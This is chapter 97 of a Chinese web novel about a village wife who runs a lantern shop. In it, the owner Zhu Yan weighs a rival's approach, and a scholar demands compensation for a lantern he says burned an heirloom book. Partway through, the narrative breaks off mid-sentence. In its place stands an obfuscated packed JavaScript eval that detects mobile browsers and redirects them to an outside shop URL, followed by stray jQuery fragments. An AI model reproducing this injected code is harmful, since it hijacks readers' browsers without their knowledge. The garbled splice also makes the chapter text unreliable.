97. 第九十七章

作品:《农家娘子改造日记

    “可咱们要怎么拒绝才能不惹恼他?”一向圆滑从容的王仁也有点犯难了,“我方才只是含糊其辞,推说此事要东家点头才行,他说要等,我几次想端茶送客他都假装没看见,好在进来了个客人,他这才起身告辞,否则我还真不知道怎么说下去了。”


    现在已经是深秋,秋高气爽,却看他忍不住擦了擦额角的汗,可见他是真的为难。


    朱颜沉吟了一会,想了个法子:“他今日或者明日肯定会再来,要是来了,你就拖住他,找机会通知我。到时候我趁着他在咱们这的时候,先从后门出去,你就掐算着时辰推说我去龙津桥头了,再和他隐晦地暗示,我去的是徐家,正好和他错过。”


    邵远不明白什么意思,王仁却立刻领会了,笑了起来,忍不住称赞:“朱娘子,你脑子转得可真快。”


    利用徐家来和顾家打擂台,反正两家本来就不对付,白白浪费这个由头,不利用就是傻瓜。


    邵远直愣愣地问:“徐家,是那日欺负我的徐学子家?颜娘,你真要去他家?”


    朱颜忍不住瞪了他一眼:“这只是托辞,谁说我要去了?”


    邵远忽然转过弯来,笑嘿嘿地:“我明白了,你是想让陈管事去找徐家的麻烦!你可真聪明!”


    他媳妇就是脑瓜子灵活,看着朱颜白里透红的面颊,他下意识就想上手抱着她亲一下,立刻又反应过来王仁在,就将抬起的手放头上挠了挠。


    几人都心里有数,邵远喊了张松劈竹子,分篾片,自己去了巷子口的茶食店找牛九郎说话,也是“巡逻”。


    朱颜返身回了楼上和冬云罩染绘制小莲花灯,大的怕客人要定制,因此到时候有了单子再做,现在就先把小的做一部分囤进排屋里,以免到时候手忙脚乱不够用。


    小莲花灯比大的简单的多,大的一个所费材料就比小的多七八倍,更别提还有废弃的,因而将冬云教会后,她开始绘制神像画卷。


    小幅的神像画起来得心应手,什么送子娘娘、药王财神、灶神、文昌帝君等等,管姻缘的、身体康健的、发财发福的,只要能想得出来的,排的上号的,统统都能随心搭配。


    做起来也简单,只需要拿细笔起草稿勾好线条,再加浅色染料大面积罩染,最后着重填补神像的眼睛、衣领、法器等等,其余的都可以一笔带过,反正送到道观里开光加持,重要的是这个环节,她这里的反倒不用过于精细,否则就是本末倒置。


    两人忙活了一会,就听木楼梯咯吱咯吱响,是张松跑了上来:“朱娘子,王三哥让我告诉你,那个顾家铺子的李掌柜来了。不过他就来了一会,有人就上门来闹事,说在咱们铺子里买了折叠灯,使用不善烧了重要的古籍,要咱们赔,王三哥两边忙,让我赶紧请娘子去。”


    说不得半句话,朱颜赶紧擦了擦手下楼去了铺子上。


    冬云也着急忙慌地跟着下来。


    店铺外头,已经有人在高声道:“就是你家的那个折叠灯!做得不好,篾片和纱中间松散了,惹着了火,烧了我的书,这书可是我祖父辈传下来的古籍,价值不可估量!今日定要给我个说法,不给说法,那就衙门里见!”


    “这位学子,您是读书人,书籍自然重要。但咱们的灯卖出去之前都会一一检查,若有松动不妥那是绝不会让客人取走,这一点您大可以问我家的老主顾。再说,是完好卖出去的,若有损坏尽可拿来退换,为何有这样大的松散,您还继续使用?具体情形如何,咱们也不可得见,您说是不是?”王仁有理有据地委婉辩驳。


    朱颜一瞧这人,二十七八的年纪,身量不高,中等身形,长着八字眉,手里攥着把楠竹扇子,身上穿着青色秋衫,颜色却略深,并不是邵堂穿的那种。


    他身侧还跟了个眼睛细长却到处乱瞧,约莫十岁的束脚小伢子,跟在这学子身后,应该是长期赁跟着专门打杂传唤用,此时他手里就提着一包东西,不知是什么。


    朱颜正准备出去,却看到了铺子里坐着的人,赶紧拉住冬云:“咱们先看看再说。”


    陈掌柜应该是先来,这会坐在铺子里方才的位置上,身边跟着个小厮,两个人都是眼观鼻鼻观心的模样,显然是不打算开口,静观其变。


    旁边有买过颜画灯坊的邻居帮着说话:“郭相公,咱们商户人家最讲究信誉口碑,您有问题好好说,若是错怪了人让人家怎么做生意?”


    “就是就是,这灯在您手里,烧坏的书也是您的,怎么烧坏的也只是您一张口说的,谁也不晓得到底怎么烧不是?”


    郭学子一听,就听出这些人是将他当作趁机讹人的地痞了,顿时火冒三丈,捏着扇子愠道:“本童生还会平白无故冤枉了你一个小小灯笼坊?简直可笑!”


    王仁面色平静,甚至略带恭谦:“童生相公,就算上公堂,也得讲证据。”


    郭学子冷笑一声,使唤了小伢子将手上一直提着的包东西丢在了地上。


    这一下摊开来看,里头的确是折叠灯,只是糊的纱面都烧毁了大半,原本的精致也成了灰黑一片,还有余烬粉末,这灯本就制作精致,又小巧灵便,烧成这样,显然是修都没法子再修了。


    “是前日才拿走的那个!”冬云惊呼。


    折叠灯骨架能提前做,但纱面却不能提前做,只能按照订单要求现做现画,因而即便是简单款也要制作两日。加上近来忙着莲花灯的制作,其他的也就暂停了接单,折叠灯拢共也就七八个订单,因此每一个冬云都记得十分清楚。


    朱颜也认出来了,她点点头,示意冬云稍安勿躁:“先看看再说,不着急。”


    王仁蹲下身查看,只好承认了:“这的确是我家的……”


    还没等他话说完,邵远忍不住冲了出来:“这位童生老爷,您的灯虽然是我家买的,但您拿回去怎么用我们可管不着吧?这灯也不知您一个人买,连尹老先生都有一盏,怎么他老人家用的没事,偏你用就有事呢?”


    朱颜没出去,是因为她一直紧紧盯着顾家铺子的李掌柜。


    正因为她一直目不转睛地盯着对方,才刚好在邵远提到尹老先生的时候看到他神情微动,顺带抬了下眼。


    陈


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16869740|185013||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    掌柜的小厮也面容微动,踌躇了一下,还是忍不住凑到他耳边说了什么,陈掌柜却摆了摆手,主仆二人就恢复了之前的模样。


    郭学子面色有些发红:“你什么意思!你的意思是我一个读书人,还诓骗讹诈你们?”


    “我可没这么说。”邵远闷声说,眼神却上下打量对方,显然是心口不一。


    一旁就有人偷笑,打的火上浇油的主意:“还童生老爷呢,咱们邝州州县里一块石头往读书人堆儿里砸下去,十个有八个都是童生,秀才更是到处都是,偏有那些个拿着童生的名头到处白吃白占的,实际上到六七十了都还是个童生,也不知是打哪儿冒来的风气,简直是辱没读书人的名节。”


    这话十分的刻薄,却惹得一众看热闹的人都齐齐哈哈大笑起来。


    如此以来,简直将郭学子给气得面上都阴沉地能滴出水:“你们胡说!有辱斯文,简直有辱斯文!一群低贱商贾,怪道士农工商,商人最末,古人诚有理!依照我看你们不该最末,该单给你们这群商贾列最底层!”


    这话一出,大半条街原本来看热闹的人都被气到了,没人再有那个闲心看热闹不嫌事大,反而立即七嘴八舌地和学子对骂起来。


    甚至对门口吃伶俐的马娘子已经开始问候他的祖宗八辈,毫不手软。


    郭学子舌战群儒还有点底气,可面对这样一群市井众人却毫无招架之力,节节败退之下,只好对颜画灯坊放狠话:“……你等着!我这就写状子去衙门告你!就等着衙役来拿你吧!”


    王仁散了口气,只要能将人赶走,后头无论是打官司还是如何,也有个操作的上下时候。


    而邵远心满意足,他居然将找麻烦的人给赶走了,而且这个人居然还是个读书人,其成就感不言而喻。


    冬云和张松则担心这学子真的告到衙门怎么办,还没正式开业就闹出这么大的事,要是耽误了三日后的天圣节该如何是好。


    “童生相公请留步!”朱颜几步出去,冲他略屈膝作揖,态度真诚,“这灯的确是我家的,至于烧毁……虽不知其如何损毁,但终归证明我家手艺欠缺为索引,我赔偿您的损失。”


    邵远目瞪口呆:“颜娘,你……”你胡说什么呢,他都已经将人赶走了,怎么她反倒来这么一出?


    不用说,其他人也是觉得,这朱娘子不是疯了就是傻了,面对这样明显无事生非的人,赶走已经算是客气了,怎么还自己将罪主动全都揽下?


    郭学子面上微微一怔,显然没想过居然对方真的承认了,随后露出笑容来,正了正要落荒而逃的姿势,“这就对了嘛,看这位娘子态度多好。”却又问,“你能做主?”


    朱颜点头:“我是颜画灯坊的东家之一,而且您这个灯就是我画作的,不信您可以问街坊邻居。”


    郭学子也没真问,“哗啦”一声打开折扇,负手而立,摇晃着扇子悠闲道:“既然你都认下来,那也就不多言语了,说吧,要怎么赔偿我。”


    “朱娘子!”王仁着急得不行,还是忍不住喊她,“你,你这是怎么了?”